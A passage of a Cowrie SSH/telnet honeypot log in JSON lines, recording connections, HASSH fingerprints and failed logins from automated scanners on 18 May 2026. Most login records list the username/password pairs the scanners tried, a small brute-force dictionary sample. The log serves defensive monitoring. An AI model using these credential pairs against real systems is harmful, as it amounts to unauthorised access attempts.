":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:38.887813Z","src_ip":"147.45.199.80","session":"42bcb60ce847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:39.263214Z","src_ip":"147.45.199.80","session":"42bcb60ce847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:39.472926Z","src_ip":"83.168.110.85","session":"5f4f671c29cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:40.385592Z","src_ip":"147.45.199.80","session":"42bcb60ce847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47056,"dst_ip":"10.17.0.5","dst_port":22,"session":"213d7630d348","protocol":"ssh","message":"New connection: 83.168.110.85:47056 (10.17.0.5:22) [session: 213d7630d348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:44.791070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:44.796443Z","src_ip":"83.168.110.85","session":"213d7630d348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44736,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f34bfd8a622","protocol":"telnet","message":"New connection: 152.42.224.71:44736 (10.17.0.5:23) [session: 9f34bfd8a622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:44.881287Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:44.918363Z","src_ip":"83.168.110.85","session":"213d7630d348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:45.449840Z","src_ip":"83.168.110.85","session":"213d7630d348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00149846076965,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:45.523039Z","src_ip":"152.42.224.71","session":"96e64c5766c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:46.573777Z","src_ip":"83.168.110.85","session":"213d7630d348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47060,"dst_ip":"10.17.0.5","dst_port":22,"session":"54c88fd5fb45","protocol":"ssh","message":"New connection: 83.168.110.85:47060 (10.17.0.5:22) [session: 54c88fd5fb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:52.030617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:52.039343Z","src_ip":"83.168.110.85","session":"54c88fd5fb45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:52.156838Z","src_ip":"83.168.110.85","session":"54c88fd5fb45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:52.631566Z","src_ip":"83.168.110.85","session":"54c88fd5fb45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":59726,"dst_ip":"10.17.0.5","dst_port":22,"session":"98d7ba0bf313","protocol":"ssh","message":"New connection: 103.75.182.198:59726 (10.17.0.5:22) [session: 98d7ba0bf313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:52.794521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:52.799505Z","src_ip":"103.75.182.198","session":"98d7ba0bf313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:53.042646Z","src_ip":"103.75.182.198","session":"98d7ba0bf313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"x4ivyga51f","message":"login attempt [root/x4ivyga51f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:53.770774Z","src_ip":"103.75.182.198","session":"98d7ba0bf313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:53.871162Z","src_ip":"83.168.110.85","session":"54c88fd5fb45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:55.017611Z","src_ip":"103.75.182.198","session":"98d7ba0bf313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57548,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2bd05749639","protocol":"ssh","message":"New connection: 83.168.110.85:57548 (10.17.0.5:22) [session: d2bd05749639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:58.757882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:58.763781Z","src_ip":"83.168.110.85","session":"d2bd05749639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:58.944218Z","src_ip":"83.168.110.85","session":"d2bd05749639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:59.308656Z","src_ip":"83.168.110.85","session":"d2bd05749639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:00.505114Z","src_ip":"83.168.110.85","session":"d2bd05749639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55570,"dst_ip":"10.17.0.5","dst_port":22,"session":"be409a2424ed","protocol":"ssh","message":"New connection: 83.168.110.85:55570 (10.17.0.5:22) [session: be409a2424ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:06.004836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:06.010058Z","src_ip":"83.168.110.85","session":"be409a2424ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:06.130632Z","src_ip":"83.168.110.85","session":"be409a2424ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:06.988419Z","src_ip":"83.168.110.85","session":"be409a2424ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:08.111372Z","src_ip":"83.168.110.85","session":"be409a2424ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018630027771,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:08.365819Z","src_ip":"152.42.224.71","session":"d592bf13ad11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55582,"dst_ip":"10.17.0.5","dst_port":22,"session":"45b78ceab918","protocol":"ssh","message":"New connection: 83.168.110.85:55582 (10.17.0.5:22) [session: 45b78ceab918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:13.141713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:13.218647Z","src_ip":"83.168.110.85","session":"45b78ceab918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:13.264295Z","src_ip":"83.168.110.85","session":"45b78ceab918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:13.740122Z","src_ip":"83.168.110.85","session":"45b78ceab918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:15.086974Z","src_ip":"83.168.110.85","session":"45b78ceab918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51072,"dst_ip":"10.17.0.5","dst_port":22,"session":"c882b890b724","protocol":"ssh","message":"New connection: 83.168.110.85:51072 (10.17.0.5:22) [session: c882b890b724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:20.502970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:20.507308Z","src_ip":"83.168.110.85","session":"c882b890b724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:20.627797Z","src_ip":"83.168.110.85","session":"c882b890b724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:21.154287Z","src_ip":"83.168.110.85","session":"c882b890b724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":47398,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef33fca7969","protocol":"ssh","message":"New connection: 193.228.128.84:47398 (159.203.135.109:22) [session: bef33fca7969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:21.855987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:21.863838Z","src_ip":"193.228.128.84","session":"bef33fca7969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:21.966883Z","src_ip":"193.228.128.84","session":"bef33fca7969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"za12345123","message":"login attempt [root/za12345123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:32:22.273620Z","src_ip":"193.228.128.84","session":"bef33fca7969","protocol":"ssh"}
